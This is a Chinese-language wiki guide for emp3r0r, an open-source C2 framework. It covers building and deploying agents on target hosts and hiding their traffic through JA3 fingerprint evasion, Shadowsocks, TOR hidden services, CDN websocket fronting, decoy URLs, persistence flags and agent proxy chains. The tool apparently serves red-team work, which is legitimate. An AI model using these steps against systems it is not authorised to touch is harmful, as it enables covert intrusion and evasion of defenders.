Skip to content

Getting Started (zh‐CN)

jm33-m0 edited this page Jan 19, 2025 · 7 revisions

emp3r0r

概述

emp3r0r 是一个C2框架,允许通过终端UI远程管理目标(agent)。它支持多种传输机制进行安全通信。

主要功能

  • 安全传输:通过TLS的HTTP2、Shadowsocks (TCP/UDP)、TOR、CDN通过Websocket等。
  • 跨平台支持:支持所有CPU架构的Linux,Windows (386/amd64)。
  • 灵活配置:支持自定义安装路径、生成agent和通信方式。

安装

下载并安装

选项1:从源码克隆并构建

# clone the repository and build
git clone https://github.com/jm33-m0/emp3r0r.git && cd ./emp3r0r/core && ./emp3r0r --release
# unarchive the release tarball and install
tar -xvf emp3r0r.tar.zst && cd emp3r0r-build && sudo ./emp3r0r --install

选项2:从emp3r0r releases下载最新版本

解压文件并安装:

cd emp3r0r-build && sudo ./emp3r0r --install

自定义安装

默认情况下,emp3r0r安装到 /usr/local/lib/emp3r0r 目录。

如果需要安装到自定义目录,可以运行:

PREFIX=/custom/path ./emp3r0r --install

启动C2 UI

确保安装了 tmux 来查看终端UI。首次运行时会生成服务器证书,并要求输入C2服务器的名称。


配置和运行emp3r0r C2

启动C2服务器

安装完成后,运行以下命令启动C2 UI:

emp3r0r

生成Agent可执行文件

进入Agent生成器:

use gen_agent

使用 set <option> <value> 命令设置所需选项:

示例:设置C2服务器地址

set cc_host example.com

配置完成后,生成Agent可执行文件:

run

Agent可执行文件将保存到 ~/.emp3r0r 目录中。

升级Agent

要在已连接的目标上升级Agent:

upgrade_agent

通信方式

基于HTTP2的TLS连接(默认 - 规避JA3指纹识别)

默认情况下启用基于HTTP2的TLS安全通信。

规避JA3指纹识别:通过流量混淆,避免通过SSL/TLS客户端指纹识别技术(如JA3)的检测。

Shadowsocks及可选的KCP

Shadowsocks:通过AEAD_CHACHA20_POLY1305加密算法对流量进行混淆,使其难以被检测。

KCP:可以选择启用KCP以优化UDP流量。

启用带KCP的Shadowsocks

set shadowsocks on

启用不带KCP的Shadowsocks

set shadowsocks bare

TOR(洋葱路由)

设置TOR隐藏服务

要在emp3r0r中使用TOR,请首先在服务器上设置隐藏服务。

示例TOR配置文件 (/etc/tor/torrc):

HiddenServiceDir /var/lib/tor/hidden_service/
HiddenServicePort 443 127.0.0.1:8000

这里8000为C2端口,443为隐藏服务端口。注意:保持端口 443 不变,因为在emp3r0r中这个端口是硬编码的。

配置完成后,获取你的onion域名:

sudo cat /var/lib/tor/hidden_service/hostname

这会返回你的 .onion 地址,例如:cc.onion

生成用于TOR的Agent

生成Agent时,使用TOR的 .onion 地址作为C2服务器地址:

set cc_host cc.onion

这样确保Agent通过TOR进行连接。在运行Agent之前,确保目标系统上已经运行TOR代理(socks5://127.0.0.1:9050)。

运行Agent(通过TOR连接)

默认情况下,Agent会使用本地的TOR代理(127.0.0.1:9050)。首先运行TOR代理,然后启动Agent:

./agent

通过CDN(使用Websocket)

配置CDN

要使用CDN,首先配置CDN提供商(如Cloudflare)将Websocket流量转发到你的C2服务器。

典型架构如下:

agent -> socks5 -> CDN -> Nginx -> emp3r0r websocket server -> CC

Nginx应将Websocket流量代理到emp3r0r C2服务器。示例Nginx配置:

location /emp3r0r {
    proxy_pass http://127.0.0.1:9000/ws;
    proxy_redirect off;
    proxy_http_version 1.1;
    proxy_set_header Upgrade $http_upgrade;
    proxy_set_header Connection "upgrade";
    proxy_set_header Host $http_host;

    # 显示真实IP
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}

生成用于CDN的Agent

生成Agent时,使用你的域名作为C2服务器地址。例如,如果使用Cloudflare:

set cc_host wss://yourcdn.com/emp3r0r

运行启用了CDN支持的C2服务器

在C2服务器上启用CDN支持:

emp3r0r -cdn2proxy 9000

这里的 9000 是Websocket服务器的监听端口。

上游代理

代理支持

emp3r0r的Agent可以通过上游代理(如HTTP或SOCKS代理)连接到C2服务器。在生成Agent时设置代理地址即可。


Agent选项和功能

C2指标

配置一个“合法”URL(例如 https://github.com)来隐藏C2流量。Agent会检查此URL,以决定是否连接到C2服务器。

自动代理

Agent可以使用UDP广播进行通信,并形成代理链,以便无法直接访问互联网的Agent可以通过其他已连接的Agent路由流量。

DNS over HTTPS (DoH)

Agent可以使用DNS over HTTPS来安全地解析域名(例如C2连接的域名)。


命令行选项和环境变量

  • VERBOSE=true:启用Agent日志记录。
  • PERSISTENT=true:防止Agent自我删除。
  • REPLACE_AGENT=true:替换目标上现有的Agent进程。
  • ELVSH=true:将Agent作为交互式elvsh shell运行。
  • -version:查看Agent版本。

高级功能

将Agent引导至C2

该功能允许一个已连接的Agent代理另一个无法直接连接到C2的Agent,通过中间代理实现连接。

示例命令

use bring2cc
set target 192.168.1.10

运行Agent

直接连接(规避JA3指纹识别)

在目标系统上直接运行Agent可执行文件:

./agent

TOR连接

在目标系统上启动TOR代理,然后运行Agent:

./agent

CDN连接

使用你的域名作为C2服务器,并在生成Agent时指定CDN代理:

set cc_host wss://yourcdn.com/emp3r0r